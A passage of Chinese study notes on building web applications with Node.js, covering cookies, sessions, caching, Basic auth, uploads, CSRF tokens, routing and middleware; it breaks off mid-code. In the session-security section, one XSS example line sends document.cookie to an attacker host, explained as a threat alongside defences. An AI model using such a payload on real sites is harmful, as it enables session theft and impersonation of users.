深刻淺出nodeJS - 3 - (構建Web應用)

內容

8.構建Web應用

1、構建Web應用

1.基礎功能

1)請求方法javascript

在WEB中,請求方法有GET、POST、HEAD、DELETE、PUT、CONNECT等,請求方法是請求報文頭的第一行的第一個大寫單詞( GET /path?foo=bar HTTP/1.1)
HTTP_Parser在解析請求報文的時候,將報文頭抽取出來,設置爲req.method,經過請求方法來決定響應行爲:php

function (req, res) {
    switch (req.method) {
        case 'POST':
            update(req, res);
            break;
        case 'DELETE':
            remove(req, res);
            break;
        case 'PUT':
            create(req, res);
            break;
        case 'GET':
        default:
            get(req, res);
    }
}

RESTful風格表明了一種根據請求方法將複雜的業務邏輯分發的一種思路,經過這種思路能夠化繁爲簡。css

2)路徑解析
路徑部分存在於報文頭的第一行的第二部分(GET /path?foo=bar HTTP/1.1)
HTTP_Parser將其解析爲req.url,通常而言完整的URL地址是這樣的:html

http://user:pass@host.com:8080/p/a/t/h?query=string#hash

瀏覽器會將這個地址解析爲報文,將路徑和查詢部分放在報文的第一行,hash部分是會被丟棄的,不會存在於報文的任何地方。前端

應用:java

  • 根據路徑進行業務處理的應用是是靜態文件服務器,它會根據路徑去查找磁盤中的文件,而後將其響應給客戶端。
  • 根據路徑來選擇控制器,它預設路徑爲控制器和行爲的組合,無須額外配置路由信息。
/controller/action/a/b/c
//這裏controller會對應到一個控制器,action對應到控制器的行爲,剩餘的值會作爲參數進行別的判斷,、

3)查詢字符串node

查詢字符串位於路徑以後,在地址欄中?後邊的就是查詢字符串(這個字符串會在?後,跟隨路徑,造成請求報文的第二部分)。node提供了querystring模塊來處理這部分的數據。nginx

var url = require('url');
var querystring = require('querystring');
var query = querystring.parse(url.parse(req.url).query);

//更簡潔的方法是給url.parse()傳遞第二個參數,將參數解析爲json對象

var query = url.parse(req.url, true).query;

查詢字符串會被掛載在req.query上,若是查詢字符串出現兩個相同的字符,如: foo=bar&foo=baz,那麼返回的json就會是一個數組。
{foo: ['bar', 'baz']}。web

注意:業務的判斷必定要檢查是數組仍是字符串,防止TypeError的異常產生。ajax

4)Cookie
http是一個無狀態的協議,現實中的業務倒是須要有狀態的,不然沒法區分用戶之間的身份。利用cookie記錄瀏覽器與客戶端之間的狀態。

cookie的處理分爲以下幾步:

  1. 服務器向客戶服務發送cookie
  2. 瀏覽器將cookie保存
  3. 以後每次瀏覽器都會將cookie發送給服務器,服務器端再進行校驗

HTTP_Parser會將全部的報文字段解析到req.headers上,那麼cookie就是req.headers.cookie了。根據規範,cookie的格式是key=value;key2=value2的形式

// 解析cookie
var parseCookie = function (cookie) {
    var cookies = {};
    if (!cookie) {
        return cookies;
    }
    var list = cookie.split(';');
    for (var i = 0; i < list.length; i++) {
        var pair = list[i].split('=');
        cookies[pair[0].trim()] = pair[1];
    }
    return cookies;
};
// 爲了方便使用,咱們將其掛載在req對象上
function (req, res) {
    req.cookies = parseCookie(req.headers.cookie);
    hande(req, res);
}

告知客戶端是經過響應報文實現的,響應的cookie值在set-cookie字段中,它的格式與請求中的格式不太相同,規範中對它的定義以下:

Set-Cookie: name=value; Path=/; Expires=Sun, 23-Apr-23 09:01:35 GMT; Domain=.domain.com;

name = value是必選字段,其餘爲可選字段。

可選字段 說明
path 表示這個cookie影響的路徑,當前訪問的路徑不知足該匹配時,瀏覽器則不發送這個cookie
Expires、Max-Age 用來告知瀏覽器這個cookie什麼時候過時的,若是不設置該選項,在關閉瀏覽器時,會丟失掉這個cookie,若是設置過時時間,瀏覽器將會把cookie內容寫入到磁盤中,並保存,下次打開瀏覽器,該cookie依舊有效。expires是一個utc格式的時間字符串,告知瀏覽器此cookie什麼時候將過時,max-age則告知瀏覽器,此cookie多久後將過時。expires會在瀏覽器時間設置和服務器時間設置不一致時,存在過時誤差。所以,通常用max-age會相對準確。
HttpOnly 告知瀏覽器不容許經過腳本document.cookie去更改這個cookie值,也就是document.cookie不可見,可是,在http請求的過程當中,依然會發送這個cookie到服務器端。
secure 當secure = true時,建立的cookie只在https鏈接中,被瀏覽器傳遞到服務器端進行會話驗證,若是http鏈接,則不會傳遞。所以,增長了被竊聽的難度。
// 將Cookie序列化成符合規範的字符串
var serialize = function (name, val, opt) {
    var pairs = [name + '=' + encode(val)];
    opt = opt || {};
    if (opt.maxAge) pairs.push('Max-Age=' + opt.maxAge);
    if (opt.domain) pairs.push('Domain=' + opt.domain);
    if (opt.path) pairs.push('Path=' + opt.path);
    if (opt.expires) pairs.push('Expires=' + opt.expires.toUTCString());
    if (opt.httpOnly) pairs.push('HttpOnly');
    if (opt.secure) pairs.push('Secure');
    return pairs.join('; ');
};
// 判斷用戶狀態的代碼
var handle = function (req, res) {
    if (!req.cookies.isVisit) {
        res.setHeader('Set-Cookie', serialize('isVisit', '1'));
        res.writeHead(200);
        res.end('歡迎第一次來 ');
    } else {
        res.writeHead(200);
        res.end('歡迎再次來 ');
    }
};

// 能夠設置多個cookie值,也就是爲set-cookie賦值一個數組:
res.setHeader('Set-Cookie', [serialize('foo', 'bar'), serialize('baz', 'val')]);
// 若是是數組的話,將在報文中造成兩條set-cookie字段:
Set-Cookie: foo=bar; Path=/; Expires=Sun, 23-Apr-23 09:01:35 GMT; Domain=.domain.com;
Set-Cookie: baz=val; Path=/; Expires=Sun, 23-Apr-23 09:01:35 GMT; Domain=.domain.com;

cookie的性能影響

當cookie過多時,會致使報文頭較大,因爲大多數cookie不須要每次都用上,所以,除非cookie過時,不然會形成帶寬的浪費。

cookie優化的建議:

  1. 減少cookie的大小,切記不要在路由根節點設置cookie,由於這將形成該路徑下的所有請求都會帶上這些cookie,同時,靜態文件的業務不關心狀態,所以,cookie在靜態文件服務下,是沒有用處,請不要爲靜態服務設置cookie。
  2. 爲靜態組件使用不一樣的域名,cookie做用於相同的路由,所以,設定不一樣的域名,能夠防止cookie被上傳。
  3. 減小dns查詢,這個能夠基於瀏覽器的dns緩存來削弱這個反作用的影響(換用額外域名須要DNS查詢)。

cookie的不安全性
cookie能夠在瀏覽器端,經過調用document.cookie來請求cookie並修改,修改以後,後續的網絡請求中就會攜帶上修改事後的值。
例如:第三方廣告或者統計腳本,將cookie和當前頁面綁定,這樣能夠標識用戶,獲得用戶瀏覽行爲。

5)Session
cookie存在各類問題,例如體積大、不安全,爲了解決cookie的這些問題,session應運而生,session只保存在服務器端,客戶端沒法修改,所以,安全性和數據傳遞都被保護。

如何將每一個客戶和服務器中的數據一一對應:

  • 基於cookie來實現用戶和數據的映射
  • 經過查詢字符串來實現瀏覽器端和服務器端數據的對應。它的原理是檢查請求的查詢字符串,若是沒值,會先生成新的帶值的URL。
    特別提示:
    有的服務器在客戶端禁用cookie,會採用這種方案實現退化,經過這種方案,無須在響應時設置cookie,可是這種方案帶來的風險遠大於基於cookie實現的風險,由於,要將地址欄中的地址發給另一我的,那麼他就擁有跟你相同的身份,Cookie的方案在換了瀏覽器或者電腦後,沒法生效,相對安全。(另外,還有一種處理session的方式,利用http請求頭中的ETag,你們能夠自行google)

1.session與內存
在node下,對於內存的使用存在限制,session直接存在內存中,會使內存持續增大,限制性能。另外,多個node進程間可能不能直接共享內存,用戶的session可能會錯亂。爲了解決問題,咱們一般使用Redis等來存儲session數據。(node與redis緩存使用長鏈接,而非http這種短鏈接,握手致使的延遲隻影響初始化一次,所以,使用redis方案,每每比使用內存還要高效。若是將redis緩存方在跟node實例相同的機器上,那麼網絡延遲的影響將更小)。

2.session與安全
經過上文咱們已經知道,session的口令保存在瀏覽器(基於cookie或者查詢字符串的形式都是將口令保存於瀏覽器),所以,會存在session口令被盜用的狀況。當web應用的用戶十分多,自行設計的隨機算法的口令值就有理論機會命中有效的口令值。一旦口令被僞造,服務器端的數據也可能間接被利用,這裏提到的session的安全,就主要指如何讓這一口令更加安全。

有一種方法是將這個口令經過私鑰加密進行簽名,使得僞造的成本較高。客戶端儘管能夠僞造口令值,可是因爲不知道私鑰值,簽名信息很難僞造。如此,咱們只要在響應時將口令和簽名進行對比,若是簽名非法,咱們將服務器端的數據當即過時便可,

將口令進行簽名是一個很好的解決方案,可是若是攻擊者經過某種方式獲取了一個真實的口令和簽名,他就能實現身份的僞造了,一種方案是將客戶端的某些獨有信息與口令做爲原值,而後簽名,這樣攻擊者一旦不在原始的客戶端上進行訪問,就會致使簽名失敗。這些獨有信息包括用戶IP和用戶代理(user agent)

3.xss漏洞

一般而言,將口令存儲於cookie中不容易被他人獲取,可是,一些別的漏洞可能致使這個口令被泄漏,典型的有xss漏洞,下面簡單介紹一下如何經過xss拿到用戶的口令,實現僞造。
xss全稱是跨站腳本攻擊(cross site scripting)。xss漏洞可讓別的腳本進行執行,造成這個問題的主要緣由多數是用戶的輸入沒有被轉義,而被直接執行。

location.href = "http://c.com/?" + document.cookie;

這段代碼將該用戶的cookie提交給了c.com站點,這個站點就是攻擊者的服務器,他也就能拿到該用戶的session口令,而後他在客戶端中用這個口令僞造cookie,從而實現了僞造用戶的身份。若是該用戶是網站管理員,就可能形成極大的危害。在這個案例中,若是口令中有用戶的客戶端信息的簽名,即便口令被泄漏,除非攻擊者與用戶客戶端徹底相同,不然不能實現僞造。

6)緩存

緩存的用處是節省沒必要要的輸出,也就是緩存咱們的靜態資源(html、js、css),咱們看一下提升性能的幾條YSlow原則:

  1. 添加Expires或cache-control到報文頭中
  2. 配置ETags
  3. 讓Ajax可緩存

使用緩存的流程以下:

clipboard.png

簡單來說,本地沒有文件時,瀏覽器必然會請求服務器端的內容,並將這部份內容放置在本地的某個緩存目錄中。在第二次請求時,它將對本地文件進行檢查,若是不能肯定這份本地文件是否能夠直接使用,它將會發起一次條件請求。所謂條件請求,就是在普通的get請求報文中,附帶If-Modified-Since字段,以下所示:

If-Modified-Since: Sun, 03 Feb 2013 06:01:12 GMT

它將詢問服務器是否有更新的版本,本地文件的最後修改時間。若是服務器端沒有新的版本,只需響應一個304狀態碼,客戶端就使用本地版本。若是服務器端有新的版本,就將新的內容發送給客戶端,客戶端放棄本地版本,代碼以下:

var handle = function (req, res) {
    fs.stat(filename, function (err, stat) {
        var lastModified = stat.mtime.toUTCString();
        if (lastModified === req.headers['if-modified-since']) {
            res.writeHead(304, "Not Modified");
            res.end();
        } else {
            fs.readFile(filename, function (err, file) {
                var lastModified = stat.mtime.toUTCString();
                res.setHeader("Last-Modified", lastModified);
                res.writeHead(200, "Ok");
                res.end(file);
            });
        }
    });
};

這裏的條件請求採用時間戳的方式實現,可是時間戳有一些缺陷存在。

  1. 文件的時間戳改動但內容並不必定改動
  2. 時間戳只能精確到秒級別,更新頻繁的內容將沒法生效

爲此,http1.1中引入了ETag來解決這個問題,ETag的全稱是Entity Tag,由服務器端生成,服務器端能夠決定它的生成規則,若是根據文件內容生成散列值,那麼條件請求將不會受到時間戳改動形成的帶寬浪費。下面是根據內容生成散列值的方法:

var getHash = function (str) {
    var shasum = crypto.createHash('sha1');
    return shasum.update(str).digest('base64');
};

這種方式與If-Modified-Since/Last-Modified不一樣的是,ETag的請求和響應是If-None-Match/ETag的:

var handle = function (req, res) {
    fs.readFile(filename, function (err, file) {
        var hash = getHash(file);
        var noneMatch = req.headers['if-none-match'];
        if (hash === noneMatch) {
            res.writeHead(304, "Not Modified");
            res.end();
        } else {
            res.setHeader("ETag", hash);
            res.writeHead(200, "Ok");
            res.end(file);
        }
    });
   }

瀏覽器在收到ETag:‘83-1359871272000’這樣的響應後,在下次的請求中,會將其放置在請求頭中:If-None-Match:"83-1359871272000"

儘管條件請求能夠在文件內容沒有修改的狀況下節省帶寬,可是它依然會發起一個http請求,使得客戶端依然會花必定時間來等待響應。可見最好的方案就是連條件請求都不用發起,那麼咱們如何作呢?咱們可使用服務器端程序在響應內容時,讓瀏覽器明確地將內容緩存起來。也就是在響應裏設置Expires或Catche-Control頭,瀏覽器根據該值進行緩存。

在http1.0時期,在服務器端設置expires能夠告知瀏覽器要緩存文件的內容,expires是一個GMT格式的時間字符串,瀏覽器在接到這個過時值後,只要本地還存在這個緩存文件,在到期時間以前它都不會再發起請求。

可是expires存在時間偏差,也是就瀏覽器和服務器之間的時間不一樣步,形成緩存提早過時或者緩存沒有被清除的狀況出現。所以,cache-control就做爲一種解決方案出現了:

var handle = function (req, res) {
    fs.readFile(filename, function (err, file) {
        res.setHeader("Cache-Control", "max-age=" + 10 * 365 * 24 * 60 * 60 * 1000);
        res.writeHead(200, "Ok");
        res.end(file);
    });
};

cache-control經過設置max-age值,避免瀏覽器端和服務器端時間不一樣步帶來的不一致性問題,只要進行相似倒計時的方式計算過時時間便可。另外,cache-control還能夠設置public、private、no-cache、no-store等可以精確控制緩存的選項。

因爲http1.0不支持max-age,所以,須要對兩種緩存都作支持,若是,瀏覽器支持max-age,那麼,max-age會覆蓋expires的值。

清除緩存
緩存能夠幫助節省帶寬,可是,若是服務器更新了內容,那麼又沒法通知瀏覽器更新,所以,咱們要爲緩存添加版本號,也就是在url中添加版本號。作法以下:

  1. 每次發佈,路徑中都跟隨web應用的版本號:http://url.com/?v=20130501
  2. 每次發佈,路徑中都跟隨該文件內容的hash值: http://url.com/?hash=afadfadwe

大致來講,根據文件內容的hash值進行緩存淘汰會更加高效,由於文件內容不必定隨着web應用的版本而更新,而內容沒有更新時,版本號的改動致使的更新毫無心義,所以,以文件內容造成的hash值更精準。

7)Basic認證
Basic認證是基於用戶名和密碼的一種身份認證方式,不是業務上的登陸操做,是一種基於瀏覽器的認證方法。若是一個頁面須要basic認證,它會檢查請求報文頭中的Authorization字段的內容,該字段的認證方式和加密值構成:

$ curl -v "http://user:pass@www.baidu.com/"
> GET / HTTP/1.1
> Authorization: Basic dXNlcjpwYXNz
> User-Agent: curl/7.24.0 (x86_64-apple-darwin12.0) libcurl/7.24.0 OpenSSL/0.9.8r zlib/1.2.5
> Host: www.baidu.com
> Accept: */*

在Basic認證中,它會將用戶和密碼部分組合:username:password,而後進行base64編碼

var encode = function (username, password) {
return new Buffer(username + ':' + password).toString('base64');
};

若是用戶首次訪問該網頁,url中也沒有認證內容,那麼瀏覽器會響應一個401未受權狀態碼:

function (req, res) {
    var auth = req.headers['authorization'] || '';
    var parts = auth.split(' ');
    var method = parts[0] || ''; // Basic
    var encoded = parts[1] || ''; // dXNlcjpwYXNz
    var decoded = new Buffer(encoded, 'base64').toString('utf-8').split(":");
    var user = decoded[0]; // user
    var pass = decoded[1]; // pass
    if (!checkUser(user, pass)) {
        res.setHeader('WWW-Authenticate', 'Basic realm="Secure Area"');
        res.writeHead(401);
        res.end();
    } else {
        handle(req, res);
    }
}

響應頭中的WWW-Authenticate字段告知瀏覽器採用什麼樣的認證和加密方式,通常而言,未認證的青空下,瀏覽器會彈出對話框進行交互式提交認證信息。當認證經過,服務器端響應200狀態碼後,瀏覽器會保存用戶名和密碼口令,在後續的請求中都攜帶Authorization信息。

basic認證是以base64加密後的明文方式在網上傳輸的,安全性較低,所以,建議配合https使用,爲了改進basic認證,在rfc 2069規範中,提出了摘要訪問認證,加入了服務器端隨機數來保護認證過程。

2.數據上傳

上一節的內容基本上都是操做http請求報文頭的,進一步說,更多的都是適用於get請求和大多數其餘請求的,頭部報文中的內容已經可以讓服務器端進行大多數業務邏輯操做了,可是單純的頭部報文沒法攜帶大量的數據,在業務中,咱們每每須要接收一些數據,好比表單提交、文件提交、json上傳、xml上傳等。

node的http模塊只對http報文的頭部進行了解析,而後觸發request事件。若是請求中還帶有內容部分(如:post請求,它具備報頭和內容),內容部分須要用戶自行接收和解析。經過報頭的Transfer-Encoding或Content-Length便可判斷請求中是否帶有內容:

var hasBody = function(req) {
     return 'transfer-encoding' in req.headers || 'content-length' in req.headers;
};

在http_parser解析報頭結束後,報文內容部分會經過data事件觸發,咱們只需以流的方式處理便可:

function (req, res) {
    if (hasBody(req)) {
        var buffers = [];
        req.on('data', function (chunk) {
            buffers.push(chunk);
        });
        req.on('end', function () {
            req.rawBody = Buffer.concat(buffers).toString();
            handle(req, res);
        });
    } else {
        handle(req, res);
    }
}

接收到的buffer列表將會轉化爲一個buffer對象,在轉碼爲沒有亂碼的字符串,暫時掛置在req.rawBody上。

1)表單數據

默認的表單提交,請求頭中的content-type字段值爲application/x-www-form-urlencoded:
報文體的內容跟查詢字符串相同,例如:foo=bar&baz=val

//經過querystring解析
var handle = function (req, res) {
    if (req.headers['content-type'] === 'application/x-www-form-urlencoded') {
        req.body = querystring.parse(req.rawBody);
    }
    todo(req, res);
};

2)其餘格式
根據content-type來區分數據編解碼的類型:content-type=application/json或者content-type=application/xml。
注意:content-type還能夠附帶編碼信息,Content-Type: application/json; charset=utf-8,咱們經過下邊的程序進行區分:

var mime = function (req) {
var str = req.headers['content-type'] || '';
return str.split(';')[0];
};

1.JSON文件
解析並響應json

var handle = function (req, res) {
    if (mime(req) === 'application/json') {
        try {
            req.body = JSON.parse(req.rawBody);
        } catch (e) {
            // 異常內容,響應Bad request
            res.writeHead(400);
            res.end('Invalid JSON');
            return;
        }
    }
    todo(req, res);
};

2.XML文件
解析並響應xml,使用外部庫xml2js,將XML文件轉換爲JSON對象

var xml2js = require('xml2js');
var handle = function (req, res) {
    if (mime(req) === 'application/xml') {
        xml2js.parseString(req.rawBody, function (err, xml) {
            if (err) {
                // 異常內容,響應Bad request
                res.writeHead(400);
                res.end('Invalid XML');
                return;
            }
            req.body = xml;
            todo(req, res);
        });
    }
};

3)附件上傳

默認表單數據爲urlencoded編碼格式,帶文件類型(file類型)的表單,須要指定enctype = multipart/form-data:

<form action="/upload" method="post" enctype="multipart/form-data">
    <label for="username">Username:</label> <input type="text" name="username" id="username" />
    <label for="file">Filename:</label> <input type="file" name="file" id="file" />
    <br />
    <input type="submit" name="submit" value="Submit" />
</form>

此時,瀏覽器構造的請求報文以下:

Content-Type: multipart/form-data; boundary=AaB03x
Content-Length: 18231

其中,boundary=AaB03x指定的是每部份內容的分界符,AaB03x是隨機生成的一段字符串,報文體的內容將經過在它前面添加--進行分割,報文結束時,在它的先後都加上--表示結束。content-length表示報文體的實際長度。
不一樣類型數據的判斷:

function (req, res) {
    if (hasBody(req)) {
        var done = function () {
            handle(req, res);
        };
        if (mime(req) === 'application/json') {
            parseJSON(req, done);
        } else if (mime(req) === 'application/xml') {
            parseXML(req, done);
        } else if (mime(req) === 'multipart/form-data') {
            parseMultipart(req, done);
        }
    } else {
        handle(req, res);
    }
}

formidable模塊
它基於流式處理解析報文,將接收到的文件寫入到系統的臨時文件夾中,並返回對應的路徑。

var formidable = require('formidable');
function (req, res) {
    if (hasBody(req)) {
        if (mime(req) === 'multipart/form-data') {
            var form = new formidable.IncomingForm();
            form.parse(req, function (err, fields, files) {
                req.body = fields;
                req.files = files;
                handle(req, res);
            });
        }
    } else {
        handle(req, res);
    }
}

4)數據上傳與安全
因爲node是基於js書寫的,所以,前端代碼能夠向node注入js文件,來動態執行,這看起來很是可怕。在此,咱們要來講說安全的問題,主要涉及內存和CSRF。

1.內存限制
攻擊者能夠提交大量數據,而後吃光讓服務器端的內存。所以,咱們須要解決此類問題:

  1. 限制上傳內容的大小,一旦超過限制,中止接收數據,並響應400狀態碼。
  2. 經過流式解析,將數據流導向磁盤中,node只保留文件路徑等小數據。(咱們基於connect中間件來進行上傳數據量的限制,先判斷content-length,而後,再每次讀數據,判斷數據大小)

    var bytes = 1024;
       function (req, res) {
           var received = 0,
           var len = req.headers['content-length'] ? parseInt(req.headers['content-length'], 10) : null;
           // 若是內容超過長度限制,返回請求實體過長的狀態碼
           if (len && len > bytes) {
               res.writeHead(413);
               res.end();
               return;
           }
       
           // limit
           req.on('data', function (chunk) {
               received += chunk.length;
               if (received > bytes) {
                   // 中止接收數據,觸發end()
                   req.destroy();
               }
           });
           handle(req, res);
       };

2.CSRF
CSRF 的全稱是Cross-Site Request Forgery,跨站請求僞造。前文說起了服務器端與客戶端經過cookie來標識和認證用戶,而後經過session來完成用戶的認證。CSRF能夠在不知道session_id的前提下,完成攻擊行爲。
解決CSRF提交數據,能夠經過添加隨機值的方式進行,也就是爲每一個請求的用戶,在session中賦予一個隨機值:

var generateRandom = function (len) {
    return crypto.randomBytes(Math.ceil(len * 3 / 4))
        .toString('base64')
        .slice(0, len);
};

-------------------
var token = req.session._csrf || (req.session._csrf = generateRandom(24));

頁面渲染過程當中,將這個_csrf值告知前端:

<form id="test" method="POST" action="http://domain_a.com/guestbook">
    <input type="hidden" name="content" value="vim好" />
    <input type="hidden" name="_csrf" value="< =_csrf >" /> % %
</form>

因爲該值是一個隨機值,攻擊者構造出相同的隨機值難度至關大,因此,只須要在接收端作一次校驗就能輕鬆防止csrf。

function (req, res) {
    var token = req.session._csrf || (req.session._csrf = generateRandom(24));
    var _csrf = req.body._csrf;
    if (token !== _csrf) {
        res.writeHead(403);
        res.end("禁止訪問");
    } else {
        handle(req, res);
    }
}

3.路由解析

1)文件路徑型

1.靜態文件

URL的路徑與網站目錄的路徑一致。

2.動態文件
web服務器根據URL路徑找到對應的文件,如index.asp,index.php.Web服務器根據文件名後綴去尋找腳本的解析器,並傳入HTTP請求的上下文。

在node中,因爲先後端都是.js,所以,咱們不用這種判斷後綴的方式進行腳本解析和執行。

2)MVC
MVC模型的主要思想是將業務邏輯按職責分離,主要分爲如下幾種:

  • 控制器(Control),一組行爲的集合
  • 模型(Model),數據相關的操做和封裝
  • 視圖(view),視圖的渲染

分層模式以下:
clipboard.png

工做模式以下:

  1. 路由解析,根據url尋找對應的控制器和行爲,根據url作路由映射,有兩種方式,一種是手工關聯映射,另外一種是天然關聯映射。前者會有一個對應的路由文件來將url映射到對應的控制器,後者沒有這樣的文件。
  2. 行爲調用相關的處理器,進行數據操做
  3. 數據操做結束後,調用視圖和相關數據進行頁面渲染,並輸出到客戶端

1.手工映射
手工映射須要手工配置路由,它對url幾乎沒有限制。咱們來看下邊的例子:

//1.路由
/user/setting
/setting/user

// 2.控制器
exports.setting = function (req, res) {
// TODO
};

// 3.映射方法 也就是use

var routes = [];
var use = function (path, action) {
     routes.push([path, action]);
};

// 4.判斷路由
// 咱們在入口程序中判斷url,而後執行對應的邏輯,因而就完成了基本的路由映射過程:
function (req, res) {
    var pathname = url.parse(req.url).pathname;
    for (var i = 0; i < routes.length; i++) {
        var route = routes[i];
        if (pathname === route[0]) {
            var action = route[1];
            action(req, res);
            return;
        }
    }
    // 處理404請求
    handle404(req, res);
}

// 5.路由分配
use('/user/setting', exports.setting);
use('/setting/user', exports.setting);
use('/setting/user/jacksontian', exports.setting);

正則匹配
對於存在參數的路由,咱們使用正則匹配,這樣的路由樣式以下:

use('/profile/:username', function (req, res) {
// TODO
});
// 咱們寫一個正則表達式的程序:
var pathRegexp = function (path) {
    path = path
        .concat(strict ? '' : '/?')
        .replace(/\/\(/g, '(?:/')
        .replace(/(\/)?(\.)?:(\w+)(?:(\(.*?\)))?(\?)?(\*)?/g, function (_, slash, format, key, capture,
            optional, star) {
            slash = slash || '';
            return ''
                + (optional ? '' : slash)
                + '(?:'
                + (optional ? slash : '')
                + (format || '') + (capture || (format && '([^/.]+?)' || '([^/]+?)')) + ')'
                + (optional || '')
                + (star ? '(/*)?' : '');
        })
        .replace(/([\/.])/g, '\\$1')
        .replace(/\*/g, '(.*)');
    return new RegExp('^' + path + '$');
}

// 這個程序的做用是完成以下匹配
/profile/:username => /profile/jacksontian, /profile/hoover
/user.:ext => /user.xml, /user.json

// 而後,咱們從新調整use部分的程序:
var use = function (path, action) {
    routes.push([pathRegexp(path), action]);
};

function (req, res) {
    var pathname = url.parse(req.url).pathname;
    for (var i = 0; i < routes.length; i++) {
        var route = routes[i];
        // 正則匹配
        if (route[0].exec(pathname)) {
            var action = route[1];
            action(req, res);
            return;
        }
    }
    // 處理404請求
    handle404(req, res);
}

參數解析

咱們但願在業務中能夠這樣處理數據:

use('/profile/:username', function (req, res) {
    var username = req.params.username;
    // TODO
});

// 那麼第一步設這樣的:
var pathRegexp = function (path) {
    var keys = [];
    path = path
        .concat(strict ? '' : '/?')
        .replace(/\/\(/g, '(?:/')
        .replace(/(\/)?(\.)?:(\w+)(?:(\(.*?\)))?(\?)?(\*)?/g, function (_, slash, format, key, capture,
            optional, star) {
            // 將匹配到的鍵值保存起來
            keys.push(key);
            slash = slash || '';
            return ''
                + (optional ? '' : slash)
                + '(?:'
                + (optional ? slash : '')
                + (format || '') + (capture || (format && '([^/.]+?)' || '([^/]+?)')) + ')'
                + (optional || '')
                + (star ? '(/*)?' : '');
        })
        .replace(/([\/.])/g, '\\$1')
        .replace(/\*/g, '(.*)');
    return {
        keys: keys,
        regexp: new RegExp('^' + path + '$')
    };
}

// 咱們將根據抽取的鍵值和實際的url獲得鍵值匹配到的實際值,並設置req.params
function (req, res) {
    var pathname = url.parse(req.url).pathname;
    for (var i = 0; i < routes.length; i++) {
        var route = routes[i];
        // 正則匹配
        var reg = route[0].regexp;
        var keys = route[0].keys;
        var matched = reg.exec(pathname);
        if (matched) {
            // 抽取具體值
            var params = {};
            for (var i = 0, l = keys.length; i < l; i++) {
                var value = matched[i + 1];
                if (value) {
                    params[keys[i]] = value;
                }
            }
            req.params = params;
            var action = route[1];
            action(req, res);
            return;
        }
    }
    // 處理404請求
    handle404(req, res);
}

2.天然映射

由於路由太多會形成代碼閱讀和書寫的難度增長,所以,有人提出亂用路由不如無路由,實際上,並不是沒有路由,而是路由按一種約定的方式天然而然地實現了路由,而無需去維護路由映射。不過這種方式相對來講比較死板,須要分狀況去開發。

/controller/action/param1/param2/param3

function (req, res) {
    var pathname = url.parse(req.url).pathname;
    var paths = pathname.split('/');
    var controller = paths[1] || 'index';
    var action = paths[2] || 'index';
    var args = paths.slice(3);
    var module;
    try {
        // require的緩存機制使得只有第一次是阻塞的
        module = require('./controllers/' + controller);
    } catch (ex) {
        handle500(req, res);
        return;
    }
    var method = module[action]
    if (method) {
        method.apply(null, [req, res].concat(args));
    } else {
        handle500(req, res);
    }
}

3)RESTful

RESTful = Representational State Transfer,也就是表現層狀態轉化,符合REST規範的設計,咱們稱之爲RESTful設計,它的設計哲學主要將服務器端提供的內容實體看作一個資源,並表如今url上。例如地址以下:

/users/jacksontian

這個地址表明了一個資源,對這個資源的操做,主要體如今http請求方法上,不是體如今url上,過去咱們對用戶的增刪改查或許是這樣設計的:

POST /user/add?username=jacksontian
GET /user/remove?username=jacksontian
POST /user/update?username=jacksontian
GET /user/get?username=jacksontian

RESTful的設計則是這樣的:

POST /user/jacksontian
DELETE /user/jacksontian
PUT /user/jacksontian
GET /user/jacksontian

對於資源類型,過去是這樣來處理的:

GET /user/jacksontian.json
GET /user/jacksontian.xml

在RESTful中則是這樣來處理,根據請求報文頭中的Accept和服務器端的支持來決定:

Accept: application/json,application/xml

爲了支持RESTful這種方式,應該處理Accept,並在響應報文中,經過Content-type字段告知客戶端是什麼格式:

Content-Type: application/json

具體格式,咱們稱之爲具體的表現,因此REST的設計就是,經過URL設計資源、請求方法定義資源的操做,經過Accept決定資源的表現形式。RESTful與mvc相輔相成,RESTful將http請求方法也加入了路由的過程,以及在url路徑上體現得更資源化。

請求方法
咱們修改一下以前寫的use方法,來支持RESTful

var routes = { 'all': [] };
var app = {};
app.use = function (path, action) {
    routes.all.push([pathRegexp(path), action]);
};
['get', 'put', 'delete', 'post'].forEach(function (method) {
    routes[method] = [];
    app[method] = function (path, action) {
        routes[method].push([pathRegexp(path), action]);
    };
})

//增長用戶
app.post('/user/:username', addUser);
// 刪除用戶
app.delete('/user/:username', removeUser);
// 修改用戶
app.put('/user/:username', updateUser);
// 查詢用戶
app.get('/user/:username', getUser);

而後,咱們修改一下匹配的部分:

var match = function (pathname, routes) {
    for (var i = 0; i < routes.length; i++) {
        var route = routes[i];
        // 正則匹配
        var reg = route[0].regexp;
        var keys = route[0].keys;
        var matched = reg.exec(pathname);
        if (matched) {
            //抽取具體值
            var params = {};
            for (var i = 0, l = keys.length; i < l; i++) {
                var value = matched[i + 1];
                if (value) {
                    params[keys[i]] = value;
                }
            }
            req.params = params;
            var action = route[1];
            action(req, res);
            return true;
        }
    }
    return false;
};

而後,再來修改一下分發部分:

function (req, res) {
    var pathname = url.parse(req.url).pathname;
    // 將請求方法變爲小寫
    var method = req.method.toLowerCase();
    if (routes.hasOwnPerperty(method)) {
        // 根據請求方法分發
        if (match(pathname, routes[method])) {
            return;
        } else {
            // 若是路徑沒有匹配成功,嘗試讓all()來處理
            if (match(pathname, routes.all)) {
                return;
            }
        }
    } else {
        // 直接讓all()來處理
        if (match(pathname, routes.all)) {
            return;
        }
    }
    // 處理404請求
    handle404(req, res);
}

RESTful模式以其輕量的設計,能夠更好的適應業務邏輯前端化和客戶端多樣化的需求,經過RESTful服務能夠適應移動端、PC端和各類客戶端的請求與響應。

4.中間件

中間件來簡化和隔離這些基礎設施和業務邏輯之間的細節,讓開發者可以關注在業務的開發上,以達到提高開發效率的目的。
基於web的服務,咱們的中間件的上下文就是請求對象和響應對象。

clipboard.png

// querystring解析中間件
var querystring = function (req, res, next) {
    req.query = url.parse(req.url, true).query;
    next();
};
// cookie解析中間件
var cookie = function (req, res, next) {
    var cookie = req.headers.cookie;
    var cookies = {};
    if (cookie) {
        var list = cookie.split(';');
        for (var i = 0; i < list.length; i++) {
            var pair = list[i].split('=');
            cookies[pair[0].trim()] = pair[1];
        }
    }
    req.cookies = cookies;
    next();
};

var middleware = function (req, res, next) {
// TODO
next();
}

app.use = function (path) {

var handle = {
    // 第一個參數做爲路徑
    path: pathRegexp(path),
    // 其餘的都是處理單元
    stack: Array.prototype.slice.call(arguments, 1)
};
routes.all.push(handle);

};

1)異常處理
爲next()方法添加err參數,並捕獲中間件直接拋出的同步異常。

var handle = function (req, res, stack) {
    var next = function (err) {
        if (err) {
            return handle500(err, req, res, stack);
        }
        // 從stack數組中取出中間件並執行
        var middleware = stack.shift();
        if (middleware) {
